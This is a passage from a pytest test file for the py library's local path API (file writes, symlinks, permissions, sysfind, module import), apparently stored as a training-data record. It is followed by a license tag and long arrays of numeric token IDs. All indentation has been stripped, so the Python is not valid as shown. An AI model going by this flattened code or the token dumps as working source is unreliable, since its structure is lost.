p = path1.join("sub1", "sub2", "file")
p.write("hello", ensure=1)
assert p.read() == "hello"
@py.test.mark.multi(bin=(False, True))
def test_dump(self, tmpdir, bin):
path = tmpdir.join("dumpfile%s" % int(bin))
try:
d = {'answer' : 42}
path.dump(d, bin=bin)
f = path.open('rb+')
dnew = py.std.pickle.load(f)
assert d == dnew
finally:
f.close()
@failsonjywin32
def test_setmtime(self):
import tempfile
import time
try:
fd, name = tempfile.mkstemp()
py.std.os.close(fd)
except AttributeError:
name = tempfile.mktemp()
open(name, 'w').close()
try:
mtime = int(time.time())-100
path = local(name)
assert path.mtime() != mtime
path.setmtime(mtime)
assert path.mtime() == mtime
path.setmtime()
assert path.mtime() != mtime
finally:
py.std.os.remove(name)
def test_normpath(self, path1):
new1 = path1.join("/otherdir")
new2 = path1.join("otherdir")
assert str(new1) == str(new2)
def test_mkdtemp_creation(self):
d = local.mkdtemp()
try:
assert d.check(dir=1)
finally:
d.remove(rec=1)
def test_tmproot(self):
d = local.mkdtemp()
tmproot = local.get_temproot()
try:
assert d.check(dir=1)
assert d.dirpath() == tmproot
finally:
d.remove(rec=1)
def test_chdir(self, tmpdir):
old = local()
try:
res = tmpdir.chdir()
assert str(res) == str(old)
assert py.std.os.getcwd() == str(tmpdir)
finally:
old.chdir()
def test_ensure_filepath_withdir(self, tmpdir):
newfile = tmpdir.join('test1','test')
newfile.ensure()
assert newfile.check(file=1)
newfile.write("42")
newfile.ensure()
s = newfile.read()
assert s == "42"
def test_ensure_filepath_withoutdir(self, tmpdir):
newfile = tmpdir.join('test1file')
t = newfile.ensure()
assert t == newfile
assert newfile.check(file=1)
def test_ensure_dirpath(self, tmpdir):
newfile = tmpdir.join('test1','testfile')
t = newfile.ensure(dir=1)
assert t == newfile
assert newfile.check(dir=1)
def test_init_from_path(self, tmpdir):
l = local()
l2 = local(l)
assert l2 == l
wc = py.path.svnwc('.')
l3 = local(wc)
assert l3 is not wc
assert l3.strpath == wc.strpath
assert not hasattr(l3, 'commit')
@py.test.mark.xfail(run=False, reason="unreliable est for long filenames")
def test_long_filenames(self, tmpdir):
if sys.platform == "win32":
py.test.skip("win32: work around needed for path length limit")
# see http://codespeak.net/pipermail/py-dev/2008q2/000922.html
# testing paths > 260 chars (which is Windows' limitation, but
# depending on how the paths are used), but > 4096 (which is the
# Linux' limitation) - the behaviour of paths with names > 4096 chars
# is undetermined
newfilename = '/test' * 60
l = tmpdir.join(newfilename)
l.ensure(file=True)
l.write('foo')
l2 = tmpdir.join(newfilename)
assert l2.read() == 'foo'
def test_visit_depth_first(self, tmpdir):
p1 = tmpdir.ensure("a","1")
p2 = tmpdir.ensure("b","2")
p3 = tmpdir.ensure("breadth")
l = list(tmpdir.visit(lambda x: x.check(file=1)))
assert len(l) == 3
# check that breadth comes last
assert l[2] == p3
def test_visit_rec_fnmatch(self, tmpdir):
p1 = tmpdir.ensure("a","123")
p2 = tmpdir.ensure(".b","345")
l = list(tmpdir.visit("???", rec="[!.]*"))
assert len(l) == 1
# check that breadth comes last
assert l[0] == p1
def test_fnmatch_file_abspath(self, tmpdir):
b = tmpdir.join("a", "b")
assert b.fnmatch(os.sep.join("ab"))
pattern = os.sep.join([str(tmpdir), "*", "b"])
assert b.fnmatch(pattern)
def test_sysfind(self):
name = sys.platform == "win32" and "cmd" or "test"
x = py.path.local.sysfind(name)
assert x.check(file=1)
assert py.path.local.sysfind('jaksdkasldqwe') is None
assert py.path.local.sysfind(name, paths=[]) is None
x2 = py.path.local.sysfind(name, paths=[x.dirpath()])
assert x2 == x
class TestExecutionOnWindows:
pytestmark = win32only
def test_sysfind_bat_exe_before(self, tmpdir, monkeypatch):
monkeypatch.setenv("PATH", str(tmpdir), prepend=os.pathsep)
tmpdir.ensure("hello")
h = tmpdir.ensure("hello.bat")
x = py.path.local.sysfind("hello")
assert x == h
class TestExecution:
pytestmark = skiponwin32
def test_sysfind_no_permisson_ignored(self, monkeypatch, tmpdir):
noperm = tmpdir.ensure('noperm', dir=True)
monkeypatch.setenv("PATH", noperm, prepend=":")
noperm.chmod(0)
assert py.path.local.sysfind('jaksdkasldqwe') is None
def test_sysfind_absolute(self):
x = py.path.local.sysfind('test')
assert x.check(file=1)
y = py.path.local.sysfind(str(x))
assert y.check(file=1)
assert y == x
def test_sysfind_multiple(self, tmpdir, monkeypatch):
monkeypatch.setenv('PATH',
"%s:%s" % (tmpdir.ensure('a'),
tmpdir.join('b')),
prepend=":")
tmpdir.ensure('b', 'a')
checker = lambda x: x.dirpath().basename == 'b'
x = py.path.local.sysfind('a', checker=checker)
assert x.basename == 'a'
assert x.dirpath().basename == 'b'
checker = lambda x: None
assert py.path.local.sysfind('a', checker=checker) is None
def test_sysexec(self):
x = py.path.local.sysfind('ls')
out = x.sysexec('-a')
for x in py.path.local().listdir():
assert out.find(x.basename) != -1
def test_sysexec_failing(self):
x = py.path.local.sysfind('false')
py.test.raises(py.process.cmdexec.Error, """
x.sysexec('aksjdkasjd')
""")
def test_make_numbered_dir(self, tmpdir):
tmpdir.ensure('base.not_an_int', dir=1)
for i in range(10):
numdir = local.make_numbered_dir(prefix='base.', rootdir=tmpdir,
keep=2, lock_timeout=0)
assert numdir.check()
assert numdir.basename == 'base.%d' %i
if i>=1:
assert numdir.new(ext=str(i-1)).check()
if i>=2:
assert numdir.new(ext=str(i-2)).check()
if i>=3:
assert not numdir.new(ext=str(i-3)).check()
def test_make_numbered_dir_NotImplemented_Error(self, tmpdir, monkeypatch):
def notimpl(x, y):
raise NotImplementedError(42)
monkeypatch.setattr(py.std.os, 'symlink', notimpl)
x = tmpdir.make_numbered_dir(rootdir=tmpdir, lock_timeout=0)
assert x.relto(tmpdir)
assert x.check()
def test_locked_make_numbered_dir(self, tmpdir):
for i in range(10):
numdir = local.make_numbered_dir(prefix='base2.', rootdir=tmpdir,
keep=2)
assert numdir.check()
assert numdir.basename == 'base2.%d' %i
for j in range(i):
assert numdir.new(ext=str(j)).check()
def test_error_preservation(self, path1):
py.test.raises (EnvironmentError, path1.join('qwoeqiwe').mtime)
py.test.raises (EnvironmentError, path1.join('qwoeqiwe').read)
#def test_parentdirmatch(self):
# local.parentdirmatch('std', startmodule=__name__)
#
class TestImport:
def test_pyimport(self, path1):
obj = path1.join('execfile.py').pyimport()
assert obj.x == 42
assert obj.__name__ == 'execfile'
def test_pyimport_renamed_dir_creates_mismatch(self, tmpdir):
p = tmpdir.ensure("a", "test_x123.py")
p.pyimport()
tmpdir.join("a").move(tmpdir.join("b"))
pytest.raises(tmpdir.ImportMismatchError,
lambda: tmpdir.join("b", "test_x123.py").pyimport())
def test_pyimport_messy_name(self, tmpdir):
# http://bitbucket.org/hpk42/py-trunk/issue/129
path = tmpdir.ensure('foo__init__.py')
obj = path.pyimport()
def test_pyimport_dir(self, tmpdir):
p = tmpdir.join("hello_123")
p_init = p.ensure("__init__.py")
m = p.pyimport()
assert m.__name__ == "hello_123"
m = p_init.pyimport()
assert m.__name__ == "hello_123"
def test_pyimport_execfile_different_name(self, path1):
obj = path1.join('execfile.py').pyimport(modname="0x.y.z")
assert obj.x == 42
assert obj.__name__ == '0x.y.z'
def test_pyimport_a(self, path1):
otherdir = path1.join('otherdir')
mod = otherdir.join('a.py').pyimport()
assert mod.result == "got it"
assert mod.__name__ == 'otherdir.a'
def test_pyimport_b(self, path1):
otherdir = path1.join('otherdir')
mod = otherdir.join('b.py').pyimport()
assert mod.stuff == "got it"
assert mod.__name__ == 'otherdir.b'
def test_pyimport_c(self, path1):
otherdir = path1.join('otherdir')
mod = otherdir.join('c.py').pyimport()
assert mod.value == "got it"
def test_pyimport_d(self, path1):
otherdir = path1.join('otherdir')
mod = otherdir.join('d.py').pyimport()
assert mod.value2 == "got it"
def test_pyimport_and_import(self, tmpdir):
tmpdir.ensure('xxxpackage', '__init__.py')
mod1path = tmpdir.ensure('xxxpackage', 'module1.py')
mod1 = mod1path.pyimport()
assert mod1.__name__ == 'xxxpackage.module1'
from xxxpackage import module1
assert module1 is mod1
def test_pyimport_check_filepath_consistency(self, monkeypatch, tmpdir):
name = 'pointsback123'
ModuleType = type(py.std.os)
p = tmpdir.ensure(name + '.py')
for ending in ('.pyc', '$py.class', '.pyo'):
mod = ModuleType(name)
pseudopath = tmpdir.ensure(name+ending)
mod.__file__ = str(pseudopath)
monkeypatch.setitem(sys.modules, name, mod)
newmod = p.pyimport()
assert mod == newmod
monkeypatch.undo()
mod = ModuleType(name)
pseudopath = tmpdir.ensure(name+"123.py")
mod.__file__ = str(pseudopath)
monkeypatch.setitem(sys.modules, name, mod)
excinfo = py.test.raises(pseudopath.ImportMismatchError,
"p.pyimport()")
modname, modfile, orig = excinfo.value.args
assert modname == name
assert modfile == pseudopath
assert orig == p
assert issubclass(pseudopath.ImportMismatchError, ImportError)
def test_issue131_pyimport_on__init__(self, tmpdir):
# __init__.py files may be namespace packages, and thus the
# __file__ of an imported module may not be ourselves
# see issue
p1 = tmpdir.ensure("proja", "__init__.py")
p2 = tmpdir.ensure("sub", "proja", "__init__.py")
m1 = p1.pyimport()
m2 = p2.pyimport()
assert m1 == m2
def test_ensuresyspath_append(self, tmpdir):
root1 = tmpdir.mkdir("root1")
file1 = root1.ensure("x123.py")
assert str(root1) not in sys.path
file1.pyimport(ensuresyspath="append")
assert str(root1) == sys.path[-1]
assert str(root1) not in sys.path[:-1]
def test_pypkgdir(tmpdir):
pkg = tmpdir.ensure('pkg1', dir=1)
pkg.ensure("__init__.py")
pkg.ensure("subdir/__init__.py")
assert pkg.pypkgpath() == pkg
assert pkg.join('subdir', '__init__.py').pypkgpath() == pkg
def test_pypkgdir_unimportable(tmpdir):
pkg = tmpdir.ensure('pkg1-1', dir=1) # unimportable
pkg.ensure("__init__.py")
subdir = pkg.ensure("subdir/__init__.py").dirpath()
assert subdir.pypkgpath() == subdir
assert subdir.ensure("xyz.py").pypkgpath() == subdir
assert not pkg.pypkgpath()
def test_isimportable():
from py._path.local import isimportable
assert not isimportable("")
assert isimportable("x")
assert isimportable("x1")
assert isimportable("x_1")
assert isimportable("_")
assert isimportable("_1")
assert not isimportable("x-1")
assert not isimportable("x:1")
def test_homedir_from_HOME(monkeypatch):
path = os.getcwd()
monkeypatch.setenv("HOME", path)
assert py.path.local._gethomedir() == py.path.local(path)
def test_homedir_not_exists(monkeypatch):
monkeypatch.delenv("HOME", raising=False)
monkeypatch.delenv("HOMEDRIVE", raising=False)
homedir = py.path.local._gethomedir()
assert homedir is None
def test_samefile(tmpdir):
assert tmpdir.samefile(tmpdir)
p = tmpdir.ensure("hello")
assert p.samefile(p)
with p.dirpath().as_cwd():
assert p.samefile(p.basename)
if sys.platform == "win32":
p1 = p.__class__(str(p).lower())
p2 = p.__class__(str(p).upper())
assert p1.samefile(p2)
def test_listdir_single_arg(tmpdir):
tmpdir.ensure("hello")
assert tmpdir.listdir("hello")[0].basename == "hello"
def test_mkdtemp_rootdir(tmpdir):
dtmp = local.mkdtemp(rootdir=tmpdir)
assert tmpdir.listdir() == [dtmp]
class TestWINLocalPath:
pytestmark = win32only
def test_owner_group_not_implemented(self, path1):
py.test.raises(NotImplementedError, "path1.stat().owner")
py.test.raises(NotImplementedError, "path1.stat().group")
def test_chmod_simple_int(self, path1):
py.builtin.print_("path1 is", path1)
mode = path1.stat().mode
# Ensure that we actually change the mode to something different.
path1.chmod(mode == 0 and 1 or 0)
try:
print(path1.stat().mode)
print(mode)
assert path1.stat().mode != mode
finally:
path1.chmod(mode)
assert path1.stat().mode == mode
def test_path_comparison_lowercase_mixed(self, path1):
t1 = path1.join("a_path")
t2 = path1.join("A_path")
assert t1 == t1
assert t1 == t2
def test_relto_with_mixed_case(self, path1):
t1 = path1.join("a_path", "fiLe")
t2 = path1.join("A_path")
assert t1.relto(t2) == "fiLe"
def test_allow_unix_style_paths(self, path1):
t1 = path1.join('a_path')
assert t1 == str(path1) + '\\a_path'
t1 = path1.join('a_path/')
assert t1 == str(path1) + '\\a_path'
t1 = path1.join('dir/a_path')
assert t1 == str(path1) + '\\dir\\a_path'
def test_sysfind_in_currentdir(self, path1):
cmd = py.path.local.sysfind('cmd')
root = cmd.new(dirname='', basename='') # c:\ in most installations
with root.as_cwd():
x = py.path.local.sysfind(cmd.relto(root))
assert x.check(file=1)
def test_fnmatch_file_abspath_posix_pattern_on_win32(self, tmpdir):
# path-matching patterns might contain a posix path separator '/'
# Test that we can match that pattern on windows.
import posixpath
b = tmpdir.join("a", "b")
assert b.fnmatch(posixpath.sep.join("ab"))
pattern = posixpath.sep.join([str(tmpdir), "*", "b"])
assert b.fnmatch(pattern)
class TestPOSIXLocalPath:
pytestmark = skiponwin32
def test_hardlink(self, tmpdir):
linkpath = tmpdir.join('test')
filepath = tmpdir.join('file')
filepath.write("Hello")
nlink = filepath.stat().nlink
linkpath.mklinkto(filepath)
assert filepath.stat().nlink == nlink + 1
def test_symlink_are_identical(self, tmpdir):
filepath = tmpdir.join('file')
filepath.write("Hello")
linkpath = tmpdir.join('test')
linkpath.mksymlinkto(filepath)
assert linkpath.readlink() == str(filepath)
def test_symlink_isfile(self, tmpdir):
linkpath = tmpdir.join('test')
filepath = tmpdir.join('file')
filepath.write("")
linkpath.mksymlinkto(filepath)
assert linkpath.check(file=1)
assert not linkpath.check(link=0, file=1)
assert linkpath.islink()
def test_symlink_relative(self, tmpdir):
linkpath = tmpdir.join('test')
filepath = tmpdir.join('file')
filepath.write("Hello")
linkpath.mksymlinkto(filepath, absolute=False)
assert linkpath.readlink() == "file"
assert filepath.read() == linkpath.read()
def test_symlink_not_existing(self, tmpdir):
linkpath = tmpdir.join('testnotexisting')
assert not linkpath.check(link=1)
assert linkpath.check(link=0)
def test_relto_with_root(self, path1, tmpdir):
y = path1.join('x').relto(py.path.local('/'))
assert y[0] == str(path1)[1]
def test_visit_recursive_symlink(self, tmpdir):
linkpath = tmpdir.join('test')
linkpath.mksymlinkto(tmpdir)
visitor = tmpdir.visit(None, lambda x: x.check(link=0))
assert list(visitor) == [linkpath]
def test_symlink_isdir(self, tmpdir):
linkpath = tmpdir.join('test')
linkpath.mksymlinkto(tmpdir)
assert linkpath.check(dir=1)
assert not linkpath.check(link=0, dir=1)
def test_symlink_remove(self, tmpdir):
linkpath = tmpdir.join('test')
linkpath.mksymlinkto(linkpath) # point to itself
assert linkpath.check(link=1)
linkpath.remove()
assert not linkpath.check()
def test_realpath_file(self, tmpdir):
linkpath = tmpdir.join('test')
filepath = tmpdir.join('file')
filepath.write("")
linkpath.mksymlinkto(filepath)
realpath = linkpath.realpath()
assert realpath.basename == 'file'
def test_owner(self, path1, tmpdir):
from pwd import getpwuid
from grp import getgrgid
stat = path1.stat()
assert stat.path == path1
uid = stat.uid
gid = stat.gid
owner = getpwuid(uid)[0]
group = getgrgid(gid)[0]
assert uid == stat.uid
assert owner == stat.owner
assert gid == stat.gid
assert group == stat.group
def test_stat_helpers(self, tmpdir, monkeypatch):
path1 = tmpdir.ensure("file")
stat1 = path1.stat()
stat2 = tmpdir.stat()
assert stat1.isfile()
assert stat2.isdir()
assert not stat1.islink()
assert not stat2.islink()
def test_stat_non_raising(self, tmpdir):
path1 = tmpdir.join("file")
pytest.raises(py.error.ENOENT, lambda: path1.stat())
res = path1.stat(raising=False)
assert res is None
def test_atime(self, tmpdir):
import time
path = tmpdir.ensure('samplefile')
now = time.time()
atime1 = path.atime()
# we could wait here but timer resolution is very
# system dependent
path.read()
time.sleep(0.01)
atime2 = path.atime()
time.sleep(0.01)
duration = time.time() - now
assert (atime2-atime1) <= duration
def test_commondir(self, path1):
# XXX This is here in local until we find a way to implement this
# using the subversion command line api.
p1 = path1.join('something')
p2 = path1.join('otherthing')
assert p1.common(p2) == path1
assert p2.common(p1) == path1
def test_commondir_nocommon(self, path1):
# XXX This is here in local until we find a way to implement this
# using the subversion command line api.
p1 = path1.join('something')
p2 = py.path.local(path1.sep+'blabla')
assert p1.common(p2) == '/'
def test_join_to_root(self, path1):
root = path1.parts()[0]
assert len(str(root)) == 1
assert str(root.join('a')) == '//a' # posix allows two slashes
def test_join_root_to_root_with_no_abs(self, path1):
nroot = path1.join('/')
assert str(path1) == str(nroot)
assert path1 == nroot
def test_chmod_simple_int(self, path1):
mode = path1.stat().mode
path1.chmod(int(mode/2))
try:
assert path1.stat().mode != mode
finally:
path1.chmod(mode)
assert path1.stat().mode == mode
def test_chmod_rec_int(self, path1):
# XXX fragile test
recfilter = lambda x: x.check(dotfile=0, link=0)
oldmodes = {}
for x in path1.visit(rec=recfilter):
oldmodes[x] = x.stat().mode
path1.chmod(int("772", 8), rec=recfilter)
try:
for x in path1.visit(rec=recfilter):
assert x.stat().mode & int("777", 8) == int("772", 8)
finally:
for x,y in oldmodes.items():
x.chmod(y)
def test_copy_archiving(self, tmpdir):
unicode_fn = u"something-\342\200\223.txt"
f = tmpdir.ensure("a", unicode_fn)
a = f.dirpath()
oldmode = f.stat().mode
newmode = oldmode ^ 1
f.chmod(newmode)
b = tmpdir.join("b")
a.copy(b, mode=True)
assert b.join(f.basename).stat().mode == newmode
@failsonjython
def test_chown_identity(self, path1):
owner = path1.stat().owner
group = path1.stat().group
path1.chown(owner, group)
@failsonjython
def test_chown_dangling_link(self, path1):
owner = path1.stat().owner
group = path1.stat().group
x = path1.join('hello')
x.mksymlinkto('qlwkejqwlek')
try:
path1.chown(owner, group, rec=1)
finally:
x.remove(rec=0)
@failsonjython
def test_chown_identity_rec_mayfail(self, path1):
owner = path1.stat().owner
group = path1.stat().group
path1.chown(owner, group)
class TestUnicodePy2Py3:
def test_join_ensure(self, tmpdir, monkeypatch):
if sys.version_info >= (3,0) and "LANG" not in os.environ:
pytest.skip("cannot run test without locale")
x = py.path.local(tmpdir.strpath)
part = "hällo"
y = x.ensure(part)
assert x.join(part) == y
def test_listdir(self, tmpdir):
if sys.version_info >= (3,0) and "LANG" not in os.environ:
pytest.skip("cannot run test without locale")
x = py.path.local(tmpdir.strpath)
part = "hällo"
y = x.ensure(part)
assert x.listdir(part)[0] == y
@pytest.mark.xfail(reason="changing read/write might break existing usages")
def test_read_write(self, tmpdir):
x = tmpdir.join("hello")
part = py.builtin._totext("hällo", "utf8")
x.write(part)
assert x.read() == part
x.write(part.encode(sys.getdefaultencoding()))
assert x.read() == part.encode(sys.getdefaultencoding())
class TestBinaryAndTextMethods:
def test_read_binwrite(self, tmpdir):
x = tmpdir.join("hello")
part = py.builtin._totext("hällo", "utf8")
part_utf8 = part.encode("utf8")
x.write_binary(part_utf8)
assert x.read_binary() == part_utf8
s = x.read_text(encoding="utf8")
assert s == part
assert py.builtin._istext(s)
def test_read_textwrite(self, tmpdir):
x = tmpdir.join("hello")
part = py.builtin._totext("hällo", "utf8")
part_utf8 = part.encode("utf8")
x.write_text(part, encoding="utf8")
assert x.read_binary() == part_utf8
assert x.read_text(encoding="utf8") == part
def test_default_encoding(self, tmpdir):
x = tmpdir.join("hello")
# Can't use UTF8 as the default encoding (ASCII) doesn't support it
part = py.builtin._totext("hello", "ascii")
x.write_text(part, "ascii")
s = x.read_text("ascii")
assert s == part
assert type(s) == type(part)
|
mpl-2.0
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
504,
636,
2443,
363,
492,
543,
63,
6242,
199,
646,
1134,
199,
646,
4613,
199,
646,
747,
12,
984,
199,
504,
1134,
14,
515,
492,
2257,
199,
646,
2863,
199,
199,
1633,
834,
27179,
275,
1134,
14,
396,
14,
1657,
14,
22557,
480,
1274,
14,
3246,
14,
2460,
360,
6138,
26530,
199,
1633,
834,
24589,
2676,
708,
275,
1134,
14,
396,
14,
1657,
14,
22557,
480,
1274,
14,
3246,
14,
2460,
360,
6138,
358,
298,
267,
298,
460,
2519,
8,
736,
12,
2513,
354,
297,
488,
9,
508,
283,
343,
9859,
199,
2676,
708,
2118,
275,
1134,
14,
396,
14,
1657,
14,
22696,
8,
267,
298,
1397,
334,
1274,
14,
3246,
508,
283,
2676,
708,
7,
503,
2519,
8,
736,
12,
2513,
354,
297,
488,
9,
508,
283,
343,
26530,
199,
10728,
678,
2676,
708,
275,
1134,
14,
396,
14,
1657,
14,
22696,
8,
267,
298,
1274,
14,
3246,
508,
283,
2676,
708,
7,
503,
2519,
8,
736,
12,
2513,
354,
297,
488,
9,
508,
283,
343,
9859,
421,
199,
318,
4613,
63,
1532,
1273,
363,
515,
17,
8,
1069,
304,
272,
347,
3272,
837,
267,
931,
17,
275,
1056,
14,
362,
1532,
1273,
585,
480,
8616,
531,
267,
2863,
14,
2758,
396,
2319,
8,
515,
17,
9,
267,
372,
931,
17,
272,
347,
17558,
8,
515,
17,
304,
267,
327,
2963,
1104,
267,
702,
931,
17,
14,
904,
480,
3271,
493,
3471,
1074,
342,
272,
372,
1056,
14,
5245,
63,
2758,
8,
2758,
12,
17558,
12,
4194,
628,
1730,
531,
199,
199,
533,
1379,
26453,
8,
2330,
14,
7844,
7079,
2925,
304,
272,
347,
511,
63,
904,
63,
9267,
8,
277,
12,
12885,
304,
267,
702,
12885,
14,
904,
15857,
508,
12885,
267,
299,
275,
12885,
14,
904,
480,
703,
3149,
83,
2,
450,
12885,
14,
4846,
9,
267,
702,
299,
508,
12885,
267,
299,
275,
12885,
14,
904,
480,
703,
501,
5,
83,
6687,
450,
12885,
14,
4846,
9,
267,
702,
299,
508,
12885,
339,
768,
10728,
678,
2676,
708,
272,
347,
511,
63,
17254,
63,
2101,
63,
889,
63,
2101,
8,
277,
12,
12885,
304,
267,
299,
275,
12885,
14,
904,
360,
1421,
358,
267,
702,
299,
14,
17254,
2336,
1700,
358,
508,
12885,
14,
904,
360,
1700,
358,
267,
702,
12885,
14,
17254,
2336,
1700,
297,
2853,
29,
549,
9,
508,
1134,
14,
515,
14,
1832,
2336,
1700,
358,
339,
347,
511,
63,
303,
273,
1119,
8,
277,
12,
12885,
304,
267,
6128,
21,
275,
1134,
14,
5351,
423,
893,
646,
360,
1064,
21,
297,
283,
24722,
1959,
1064,
21,
267,
1973,
275,
1134,
14,
5351,
423,
893,
646,
360,
4835,
297,
283,
24722,
358,
267,
7793,
275,
2519,
8,
773,
12,
283,
4835,
17,
297,
2519,
8,
773,
12,
283,
4835,
297,
488,
430,
267,
4325,
275,
12885,
14,
904,
480,
396,
2227,
493,
531,
267,
666,
275,
283,
5006,
1370,
2143,
360,
4371,
358,
267,
4325,
14,
952,
8,
576,
12,
818,
628,
6603,
531,
267,
702,
4325,
14,
3357,
2227,
480,
1064,
21,
531,
508,
6128,
21,
8,
576,
680,
11453,
342,
267,
702,
4325,
14,
3357,
2227,
480,
4835,
17,
531,
508,
7793,
8,
576,
680,
11453,
342,
267,
1134,
14,
396,
14,
3536,
8,
3393,
12,
4325,
14,
3357,
2227,
12,
298,
305,
24315,
68,
531,
339,
347,
511,
63,
2168,
63,
264,
4912,
63,
6753,
63,
493,
8,
277,
12,
12885,
304,
267,
6863,
63,
493,
275,
12885,
14,
904,
360,
6753,
1959,
7505,
342,
267,
6863,
63,
493,
14,
11693,
8,
16,
9,
267,
6863,
63,
493,
14,
2168,
342,
267,
702,
440,
6863,
63,
493,
14,
1074,
8,
2444,
29,
17,
9,
339,
347,
511,
63,
2168,
63,
264,
4912,
63,
6753,
63,
694,
8,
277,
12,
12885,
304,
267,
6863,
63,
694,
275,
12885,
14,
904,
360,
6753,
694,
1959,
7505,
8,
694,
29,
17,
9,
267,
6863,
63,
694,
14,
11693,
8,
442,
480,
5783,
401,
1695,
430,
267,
6863,
63,
694,
14,
2168,
342,
267,
702,
440,
6863,
63,
694,
14,
1074,
8,
2444,
29,
17,
9,
339,
347,
511,
63,
2168,
63,
264,
4912,
63,
694,
63,
460,
63,
6753,
63,
493,
8,
277,
12,
12885,
304,
267,
6863,
63,
694,
275,
12885,
14,
904,
360,
6753,
694,
1959,
7505,
8,
694,
29,
17,
9,
267,
6863,
63,
493,
275,
6863,
63,
694,
14,
904,
360,
6753,
493,
1959,
7505,
342,
267,
6863,
63,
493,
14,
11693,
8,
16,
9,
267,
6863,
63,
694,
14,
2168,
342,
267,
702,
440,
6863,
63,
694,
14,
1074,
8,
2444,
29,
17,
9,
339,
347,
511,
63,
2168,
63,
13243,
63,
4247,
63,
2550,
8,
277,
12,
12885,
12,
17309,
304,
267,
634,
275,
942,
267,
17309,
14,
10202,
8,
647,
14,
1516,
14,
20938,
12,
283,
9242,
297,
288,
2400,
627,
589,
12,
1011,
958,
26,
634,
14,
740,
8,
958,
430,
267,
12885,
14,
2168,
342,
267,
702,
440,
634,
59,
16,
2733,
4247,
63,
2550,
418,
267,
367,
1139,
315,
334,
549,
12,
756,
304,
288,
634,
5873,
275,
942,
288,
12885,
14,
2168,
8,
4247,
63,
2550,
29,
637,
9,
288,
702,
634,
59,
16,
2733,
4247,
63,
2550,
418,
508,
1139,
339,
347,
511,
63,
8489,
63,
15594,
8,
277,
304,
267,
702,
620,
8,
1832,
1012,
508,
1134,
14,
1516,
14,
736,
14,
9458,
342,
339,
768,
10728,
678,
2676,
708,
272,
347,
511,
63,
8563,
63,
32227,
8,
277,
12,
931,
17,
304,
267,
299,
275,
931,
17,
14,
7505,
480,
694,
63,
475,
63,
1235,
63,
10649,
401,
2935,
29,
17,
9,
267,
299,
14,
8563,
342,
267,
299,
14,
2168,
342,
267,
4613,
14,
3536,
8,
647,
14,
705,
14,
20465,
12,
1134,
14,
515,
14,
1832,
9,
267,
702,
931,
17,
14,
8563,
342,
365,
488,
267,
702,
747,
14,
9458,
342,
508,
620,
8,
515,
17,
9,
339,
347,
511,
63,
305,
63,
6525,
8,
277,
12,
931,
17,
304,
267,
2935,
275,
931,
17,
14,
7505,
480,
10622,
401,
2935,
29,
17,
9,
267,
2269,
275,
1134,
14,
515,
14,
1832,
342,
267,
543,
2935,
14,
305,
63,
6525
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
504,
636,
2443,
363,
492,
543,
63,
6242,
199,
646,
1134,
199,
646,
4613,
199,
646,
747,
12,
984,
199,
504,
1134,
14,
515,
492,
2257,
199,
646,
2863,
199,
199,
1633,
834,
27179,
275,
1134,
14,
396,
14,
1657,
14,
22557,
480,
1274,
14,
3246,
14,
2460,
360,
6138,
26530,
199,
1633,
834,
24589,
2676,
708,
275,
1134,
14,
396,
14,
1657,
14,
22557,
480,
1274,
14,
3246,
14,
2460,
360,
6138,
358,
298,
267,
298,
460,
2519,
8,
736,
12,
2513,
354,
297,
488,
9,
508,
283,
343,
9859,
199,
2676,
708,
2118,
275,
1134,
14,
396,
14,
1657,
14,
22696,
8,
267,
298,
1397,
334,
1274,
14,
3246,
508,
283,
2676,
708,
7,
503,
2519,
8,
736,
12,
2513,
354,
297,
488,
9,
508,
283,
343,
26530,
199,
10728,
678,
2676,
708,
275,
1134,
14,
396,
14,
1657,
14,
22696,
8,
267,
298,
1274,
14,
3246,
508,
283,
2676,
708,
7,
503,
2519,
8,
736,
12,
2513,
354,
297,
488,
9,
508,
283,
343,
9859,
421,
199,
318,
4613,
63,
1532,
1273,
363,
515,
17,
8,
1069,
304,
272,
347,
3272,
837,
267,
931,
17,
275,
1056,
14,
362,
1532,
1273,
585,
480,
8616,
531,
267,
2863,
14,
2758,
396,
2319,
8,
515,
17,
9,
267,
372,
931,
17,
272,
347,
17558,
8,
515,
17,
304,
267,
327,
2963,
1104,
267,
702,
931,
17,
14,
904,
480,
3271,
493,
3471,
1074,
342,
272,
372,
1056,
14,
5245,
63,
2758,
8,
2758,
12,
17558,
12,
4194,
628,
1730,
531,
199,
199,
533,
1379,
26453,
8,
2330,
14,
7844,
7079,
2925,
304,
272,
347,
511,
63,
904,
63,
9267,
8,
277,
12,
12885,
304,
267,
702,
12885,
14,
904,
15857,
508,
12885,
267,
299,
275,
12885,
14,
904,
480,
703,
3149,
83,
2,
450,
12885,
14,
4846,
9,
267,
702,
299,
508,
12885,
267,
299,
275,
12885,
14,
904,
480,
703,
501,
5,
83,
6687,
450,
12885,
14,
4846,
9,
267,
702,
299,
508,
12885,
339,
768,
10728,
678,
2676,
708,
272,
347,
511,
63,
17254,
63,
2101,
63,
889,
63,
2101,
8,
277,
12,
12885,
304,
267,
299,
275,
12885,
14,
904,
360,
1421,
358,
267,
702,
299,
14,
17254,
2336,
1700,
358,
508,
12885,
14,
904,
360,
1700,
358,
267,
702,
12885,
14,
17254,
2336,
1700,
297,
2853,
29,
549,
9,
508,
1134,
14,
515,
14,
1832,
2336,
1700,
358,
339,
347,
511,
63,
303,
273,
1119,
8,
277,
12,
12885,
304,
267,
6128,
21,
275,
1134,
14,
5351,
423,
893,
646,
360,
1064,
21,
297,
283,
24722,
1959,
1064,
21,
267,
1973,
275,
1134,
14,
5351,
423,
893,
646,
360,
4835,
297,
283,
24722,
358,
267,
7793,
275,
2519,
8,
773,
12,
283,
4835,
17,
297,
2519,
8,
773,
12,
283,
4835,
297,
488,
430,
267,
4325,
275,
12885,
14,
904,
480,
396,
2227,
493,
531,
267,
666,
275,
283,
5006,
1370,
2143,
360,
4371,
358,
267,
4325,
14,
952,
8,
576,
12,
818,
628,
6603,
531,
267,
702,
4325,
14,
3357,
2227,
480,
1064,
21,
531,
508,
6128,
21,
8,
576,
680,
11453,
342,
267,
702,
4325,
14,
3357,
2227,
480,
4835,
17,
531,
508,
7793,
8,
576,
680,
11453,
342,
267,
1134,
14,
396,
14,
3536,
8,
3393,
12,
4325,
14,
3357,
2227,
12,
298,
305,
24315,
68,
531,
339,
347,
511,
63,
2168,
63,
264,
4912,
63,
6753,
63,
493,
8,
277,
12,
12885,
304,
267,
6863,
63,
493,
275,
12885,
14,
904,
360,
6753,
1959,
7505,
342,
267,
6863,
63,
493,
14,
11693,
8,
16,
9,
267,
6863,
63,
493,
14,
2168,
